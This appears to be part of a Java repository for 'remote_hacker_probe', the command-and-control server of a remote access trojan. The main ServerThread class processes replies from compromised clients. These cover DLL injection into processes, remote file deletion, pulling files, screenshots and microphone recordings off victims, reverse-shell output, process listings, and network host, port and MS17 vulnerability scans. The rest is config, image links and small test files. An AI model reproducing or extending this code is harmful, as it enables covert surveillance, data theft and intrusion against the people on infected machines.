| import javax.swing.JOptionPane; 21 | 22 | 23 | class ServerThread extends Thread { 24 | public static boolean run = true; 25 | private Socket sock; 26 | static ArrayList LOG = new ArrayList(); 27 | public ServerThread(Socket clientsocket) { 28 | this.sock = clientsocket; 29 | } 30 | 31 | public void clear() 32 | { 33 | int mainIndex = Server.Clients.indexOf(sock); 34 | try { 35 | Server.Clients.remove(mainIndex); 36 | Server.WANIP.remove(mainIndex); 37 | Server.OperatingSystem.remove(mainIndex); 38 | Server.UserPC.remove(mainIndex); 39 | MainWindow.model.removeRow(mainIndex); 40 | MainWindow.UpdateOnlineLabel(); 41 | MainWindow.Log("Client ID : " + String.valueOf(mainIndex) + " disconnected."); 42 | } catch(Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | 47 | public static void WaitForReplyMeta() // bruh 48 | { 49 | LOG.clear(); 50 | 51 | int x = 0; 52 | while(x != 20) { 53 | try { 54 | if(LOG.size() > 0) { 55 | break; 56 | } 57 | 58 | TimeUnit.MILLISECONDS.sleep(500); 59 | x+=1; 60 | 61 | } catch (Exception ef) { 62 | ef.printStackTrace(); 63 | } 64 | } 65 | } 66 | 67 | public static void WaitForReply() 68 | { 69 | LOG.clear(); 70 | 71 | int x = 0; 72 | while(x != 20) { 73 | try { 74 | if(LOG.size() > 0) { 75 | break; 76 | } 77 | 78 | TimeUnit.MILLISECONDS.sleep(5); 79 | x+=1; 80 | 81 | } catch (Exception ef) { 82 | ef.printStackTrace(); 83 | } 84 | } 85 | } 86 | @Override 87 | public void run() { 88 | while(run) { 89 | try { 90 | TimeUnit.SECONDS.sleep(1); 91 | } catch (InterruptedException e1) { 92 | // TODO Auto-generated catch block 93 | e1.printStackTrace(); 94 | } 95 | InputStream is; 96 | try { 97 | is = sock.getInputStream(); 98 | } catch (IOException e) { 99 | clear(); 100 | e.printStackTrace(); 101 | break; 102 | } catch (NullPointerException ne) { 103 | clear(); 104 | ne.printStackTrace(); 105 | break; 106 | } 107 | int read; 108 | try { 109 | LOG.clear(); 110 | Arrays.fill(Server.buffer, (byte)0); 111 | read = is.read(Server.buffer); 112 | String response = new String(Server.buffer, 0, read); 113 | LOG.add(response); 114 | 115 | 116 | 117 | //Shell s = new Shell(); 118 | if(Shell.ShellOutput.isVisible()) 119 | { 120 | Shell.ShellOutput.append("\n" + response); 121 | } 122 | 123 | 124 | if(FileManager.contentPanel.isVisible()) 125 | { 126 | if(response.startsWith("RHPDIR<>")) { 127 | FileManager.model.removeAllElements(); 128 | FileManager.model.clear(); 129 | String[] files = response.split("\n"); 130 | String file; 131 | for (int i = 0; i < files.length; i++) { 132 | file = files[i]; 133 | if(file.startsWith("RHPDIR<>")) { 134 | FileManager.textField.setText(file.replace("RHPDIR<>", "")); 135 | } else if(file.startsWith("^")) { 136 | FileManager.model.addElement(file.replace("^", "(^)")); // A directory 137 | } else { 138 | FileManager.model.addElement(file); 139 | } 140 | } 141 | } 142 | } 143 | 144 | if(response.startsWith("DLL_OK")) 145 | { 146 | try { 147 | String[] parse = response.split(":"); 148 | JOptionPane.showMessageDialog(null, "Injected DLL in Process ID " + parse[1] + " on Client ID " + String.valueOf(Server.Clients.indexOf(sock))); 149 | MainWindow.Log("Injected DLL in Process ID " + parse[1] + " on Client ID " + String.valueOf(Server.Clients.indexOf(sock))); 150 | } catch (Exception spe) 151 | { 152 | spe.printStackTrace(); 153 | } 154 | 155 | } else if (response.startsWith("DEL_OK")) { 156 | try { 157 | String[] parse = response.split(","); 158 | int mainIndex = Server.Clients.indexOf(sock); 159 | JOptionPane.showMessageDialog(null, "File '"+parse[1] + "' deleted from '"+parse[2]+"'.", Server.UserPC.get(mainIndex) + " says : ", JOptionPane.INFORMATION_MESSAGE); 160 | MainWindow.Log( "File '"+parse[1] + "' deleted from '"+parse[2]+"'."); 161 | } catch (Exception e) { 162 | e.printStackTrace(); 163 | } 164 | 165 | 166 | } 167 | 168 | else if(response.startsWith("FILE")) { 169 | String fileinfo[] = response.split(":"); 170 | String filename = fileinfo[1].strip(); 171 | String filesizeStr = fileinfo[2].strip(); 172 | int fsize = Integer.parseInt(filesizeStr); 173 | JOptionPane.showMessageDialog(null, "File '" + filename + "' of size '" + filesizeStr + "' bytes will be Downloaded."); 174 | MainWindow.Log( "File '" + filename + "' of size '" + filesizeStr + "' bytes will be Downloaded."); 175 | File downloaded_file = new File(filename); 176 | downloaded_file.createNewFile(); 177 | FileOutputStream fos = new FileOutputStream(downloaded_file, false); 178 | BufferedOutputStream out = new BufferedOutputStream(fos); 179 | 180 | MainWindow.HaltAllSystems(); 181 | byte[] filebuf = new byte[fsize]; 182 | Arrays.fill(filebuf, (byte)0); 183 | do { 184 | read= is.readNBytes(filebuf, 0, fsize); 185 | fos.write(filebuf, 0, read); 186 | if(read == Integer.parseInt(filesizeStr)) { 187 | break; 188 | } 189 | //System.out.println(read); 190 | } while (read != 0); 191 | 192 | MainWindow.EnableAllSystems(); 193 | fos.close(); 194 | JOptionPane.showMessageDialog(null, "File " + filename + " downloaded.\nBytes Expected : " + filesizeStr + " Bytes.\n" 195 | + "Bytes Recevied : " + String.valueOf( new File(filename).length()) + " Bytes."); 196 | MainWindow.Log("File " + filename + " downloaded."); 197 | 198 | out.flush(); 199 | } 200 | 201 | else if (response.startsWith("F_OK")) { 202 | String fileokinfo[] = response.split(","); 203 | int mainIndex = Server.Clients.indexOf(sock); 204 | JOptionPane.showMessageDialog(null, 205 | 206 | "Uploaded : " + fileokinfo[1] + 207 | "\nBytes Sent : " + fileokinfo[2] + " bytes."+ 208 | "\nUploaded to : " + fileokinfo[3] 209 | , Server.UserPC.get(mainIndex) + " : ", JOptionPane.INFORMATION_MESSAGE); 210 | } 211 | 212 | else if(response.startsWith("PROCESS")) 213 | { 214 | try { 215 | String parse[] = response.split(","); 216 | 217 | int mainIndex = Server.Clients.indexOf(sock); 218 | JOptionPane.showMessageDialog(null, "Process Name : " + parse[1] + "\nProcess PID : " + parse[2] + "\nProcess Path : " + parse[3], Server.UserPC.get(mainIndex) + " says : ", JOptionPane.INFORMATION_MESSAGE); 219 | } catch (Exception es) 220 | { 221 | es.printStackTrace(); 222 | } 223 | } 224 | 225 | else if(response.startsWith("drive")) 226 | { 227 | FileManager.driveslist.clear(); 228 | String[ ] parse = response.split(","); 229 | for (String x : parse) { 230 | FileManager.driveslist.add(x.replace("drive:", "")); 231 | } 232 | } 233 | 234 | else if(response.startsWith("[HOST]")) 235 | { 236 | try { 237 | //System.out.println("Got the damn response!"); 238 | String parse[] = response.split(","); 239 | String IpAddr = parse[1]; 240 | String hostname = parse[2]; 241 | String Macaddr = parse[3]; 242 | 243 | NetworkScanner.NsModel.addElement("Discovered host : " + IpAddr + " - " + hostname + " - " + Macaddr ); 244 | } catch (Exception ls) 245 | { 246 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception. 247 | } 248 | } 249 | 250 | else if (response.startsWith("[HOSTERR]")) { 251 | try { 252 | //System.out.println("Got the damn ERROR response!"); 253 | String parse[] = response.split("-"); 254 | NetworkScanner.NsModel.addElement( parse[1]); 255 | 256 | } catch (Exception ls) 257 | { 258 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception. 259 | } 260 | } 261 | 262 | else if(response.startsWith("OPENPORT")) 263 | { 264 | try { 265 | String parse[] = response.split(":")[1].split(","); 266 | 267 | NetworkScanner.PModel.addElement( "Port is open " + parse[1] + " (" + NetworkScanner.PortService(parse[1]) + ") on " + parse[0]); 268 | 269 | } catch (Exception ls) 270 | { 271 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception. 272 | } 273 | } 274 | 275 | else if(response.startsWith("!MS17!")){ 276 | try { 277 | String[] infoString = response.split("!MS17!"); 278 | 279 | for (String info : infoString) { 280 | NetworkScanner.EModel.addElement(info); 281 | } 282 | 283 | } catch (Exception ls) 284 | { 285 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception. 286 | } 287 | } 288 | 289 | else if(response.startsWith("DIRERROR")) 290 | { 291 | try { 292 | String infoString = response.replace("DIRERROR", ""); 293 | 294 | int mainIndex = Server.Clients.indexOf(sock); 295 | JOptionPane.showMessageDialog(null, infoString, Server.UserPC.get(mainIndex) + " says : ", JOptionPane.INFORMATION_MESSAGE); 296 | MainWindow.Log(Server.UserPC.get(mainIndex) + " says : " + infoString); 297 | 298 | } catch (Exception ls) 299 | { 300 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception. 301 | } 302 | } 303 | 304 | else if(response.startsWith("F_ERR")) 305 | { 306 | try { 307 | String infoString = response.replace("F_ERR", ""); 308 | int mainIndex = Server.Clients.indexOf(sock); 309 | JOptionPane.showMessageDialog(null, infoString, Server.UserPC.get(mainIndex) + " says : ", JOptionPane.INFORMATION_MESSAGE); 310 | MainWindow.Log(Server.UserPC.get(mainIndex) + " says : " + infoString); 311 | 312 | } catch (Exception ls) 313 | { 314 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception. 315 | } 316 | } 317 | else if(response.startsWith("!hs!")){ 318 | try { 319 | String infoString = response.replace("!hs!", ""); 320 | 321 | NetworkScanner.HModel.addElement(infoString); 322 | 323 | } catch (Exception ls) 324 | { 325 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception. 326 | } 327 | } 328 | 329 | else if(response.startsWith("SCREENSHOT")) { 330 | String fileinfo[] = response.split(":"); 331 | String filename = fileinfo[1].strip(); 332 | String filesizeStr = fileinfo[2].strip(); 333 | int fsize = Integer.parseInt(filesizeStr); 334 | //JOptionPane.showMessageDialog(null, "File '" + filename + "' of size '" + filesizeStr + "' bytes will be Downloaded."); 335 | MainWindow.Log( "Screenshot '" + filename + "' of size '" + filesizeStr + "' bytes will be Downloaded."); 336 | File downloaded_file = new File(filename); 337 | downloaded_file.createNewFile(); 338 | FileOutputStream fos = new FileOutputStream(downloaded_file, false); 339 | BufferedOutputStream out = new BufferedOutputStream(fos); 340 | 341 | MainWindow.HaltAllSystems(); 342 | byte[] filebuf = new byte[fsize]; 343 | Arrays.fill(filebuf, (byte)0); 344 | do { 345 | read= is.readNBytes(filebuf, 0, fsize); 346 | fos.write(filebuf, 0, read); 347 | if(read == Integer.parseInt(filesizeStr)) { 348 | break; 349 | } 350 | //System.out.println(read); 351 | } while (read != 0); 352 | 353 | fos.close(); 354 | // Convert bmp to png 355 | String newfile = filename.replace(".bmp", ".png"); 356 | BufferedImage bmpimg = ImageIO.read(downloaded_file); 357 | File outputfile = new File("screenshots/"+newfile); // 358 | ImageIO.write(bmpimg, "png", outputfile); 359 | // Delete original 360 | try { 361 | Path delete = new File(filename).toPath(); Files.deleteIfExists(delete); 362 | } catch (Exception eS) 363 | { 364 | eS.printStackTrace(); 365 | } 366 | 367 | 368 | // Display Image 369 | ImageViewer.ImagePath = "screenshots/" + newfile; 370 | ImageViewer iv = new ImageViewer(); iv.setVisible(true); 371 | 372 | MainWindow.EnableAllSystems(); 373 | 374 | //JOptionPane.showMessageDialog(null, "File " + filename + " downloaded.\nBytes Expected : " + filesizeStr + " Bytes.\n" 375 | // + "Bytes Recevied : " + String.valueOf( new File(filename).length()) + " Bytes."); 376 | MainWindow.Log("Screenshot " + filename + " downloaded."); 377 | 378 | out.flush(); 379 | } 380 | 381 | else if(response.startsWith("MIC_OK")) 382 | { 383 | String Message = response.replace("MIC_OK:",""); 384 | MainWindow.Log("Client ID " + String.valueOf(Server.Clients.indexOf(sock)) + " says : " + Message); 385 | MicRecorder.AnimateGui(); 386 | } 387 | 388 | else if(response.startsWith("MIC")) { 389 | String fileinfo[] = response.split(":"); 390 | String filename = fileinfo[1].strip(); 391 | String filesizeStr = fileinfo[2].strip(); 392 | int fsize = Integer.parseInt(filesizeStr); 393 | 394 | MainWindow.Log( "Mic Recording '" + filename + "' of size '" + filesizeStr + "' bytes will be Downloaded."); 395 | File downloaded_file = new File(filename); 396 | downloaded_file.createNewFile(); 397 | FileOutputStream fos = new FileOutputStream(downloaded_file, false); 398 | BufferedOutputStream out = new BufferedOutputStream(fos); 399 | 400 | MainWindow.HaltAllSystems(); 401 | byte[] filebuf = new byte[fsize]; 402 | Arrays.fill(filebuf, (byte)0); 403 | do { 404 | read= is.readNBytes(filebuf, 0, fsize); 405 | fos.write(filebuf, 0, read); 406 | if(read == Integer.parseInt(filesizeStr)) { 407 | break; 408 | } 409 | //System.out.println(read); 410 | } while (read != 0); 411 | 412 | MainWindow.EnableAllSystems(); 413 | fos.close(); 414 | JOptionPane.showMessageDialog(null, "Mic Recording " + filename + " downloaded.\nBytes Expected : " + filesizeStr + " Bytes.\n" 415 | + "Bytes Recevied : " + String.valueOf( new File(filename).length()) + " Bytes."); 416 | MainWindow.Log("File " + filename + " downloaded."); 417 | 418 | out.flush(); 419 | } 420 | 421 | 422 | else { 423 | if(!Shell.ShellOutput.isVisible()) { 424 | MainWindow.Log("Client ID " + String.valueOf(Server.Clients.indexOf(sock)) + " sent : " + response + " (" + String.valueOf(response.length()) + " bytes)"); 425 | } 426 | } 427 | 428 | } catch (IOException e) { 429 | clear(); 430 | e.printStackTrace(); 431 | break; 432 | } catch (NullPointerException ne) { 433 | clear(); 434 | ne.printStackTrace(); 435 | break; 436 | } catch(java.lang.StringIndexOutOfBoundsException strE) { 437 | clear(); strE.printStackTrace(); break; 438 | } catch(java.lang.ArrayIndexOutOfBoundsException arraE) { 439 | clear(); arraE.printStackTrace(); break; 440 | } 441 | } 442 | } 443 | } -------------------------------------------------------------------------------- /gui/user.ini: -------------------------------------------------------------------------------- 1 | username=BATMAN -------------------------------------------------------------------------------- /gui/waypoint_white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/waypoint_white.png -------------------------------------------------------------------------------- /img/dark.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/dark.PNG -------------------------------------------------------------------------------- /img/light.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/light.PNG -------------------------------------------------------------------------------- /img/rhp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/rhp.png -------------------------------------------------------------------------------- /img/rhpbig.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/rhpbig.png -------------------------------------------------------------------------------- /img/rshell.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/rshell.PNG -------------------------------------------------------------------------------- /img/solarizeddark.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/solarizeddark.PNG -------------------------------------------------------------------------------- /img/solarizedlight.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/solarizedlight.PNG -------------------------------------------------------------------------------- /payloads/README.md: -------------------------------------------------------------------------------- 1 | # Payloads 2 | Coming soon -------------------------------------------------------------------------------- /tests/settings.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | import java.io.*; 4 | import java.io.FileInputStream; 5 | import java.io.FileNotFoundException; 6 | import java.io.FileWriter; 7 | import java.io.IOException; 8 | import java.io.InputStream; 9 | import java.util.Properties; 10 | 11 | 12 | class Test{ 13 | 14 | public static void changeProperty(String filename, String key, String value) throws IOException { 15 | Properties prop =new Properties(); 16 | prop.load(new FileInputStream(filename)); 17 | prop.setProperty(key, value); 18 | prop.store(new FileOutputStream(filename),null); 19 | } 20 | 21 | public static void main(String[] args){ 22 | try{ 23 | changeProperty("rhp.ini", "theme", "light"); 24 | } catch(Exception e){ 25 | e.printStackTrace(); 26 | } 27 | 28 | } 29 | } -------------------------------------------------------------------------------- /tests/test.java: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.nio.file.Files; 3 | import java.nio.file.Paths; 4 | 5 | class test { 6 | 7 | /** 8 | * 9 | * Fixed this function :D 10 | * Thanks to, the test file! 11 | * 12 | * **/ 13 | public static String PortService(String Port) 14 | { 15 | String info = ""; 16 | try { 17 | List lines = Files.readAllLines(Paths.get("C://Users//saadm//Documents//eclipse-workspace//rhp//common_ports.rhp")); 18 | 19 | for (String line : lines) { 20 | if(line.contains(Port)) 21 | { 22 | String parse[] = line.split(" "); 23 | info = parse[0]; 24 | break; 25 | } 26 | 27 | else { 28 | info = " - "; 29 | } 30 | } 31 | } catch (Exception e) { 32 | e.printStackTrace(); 33 | } 34 | 35 | return info; 36 | } 37 | 38 | public static void main(String args[]) 39 | { 40 | System.out.println(PortService("445")); 41 | } 42 | } --------------------------------------------------------------------------------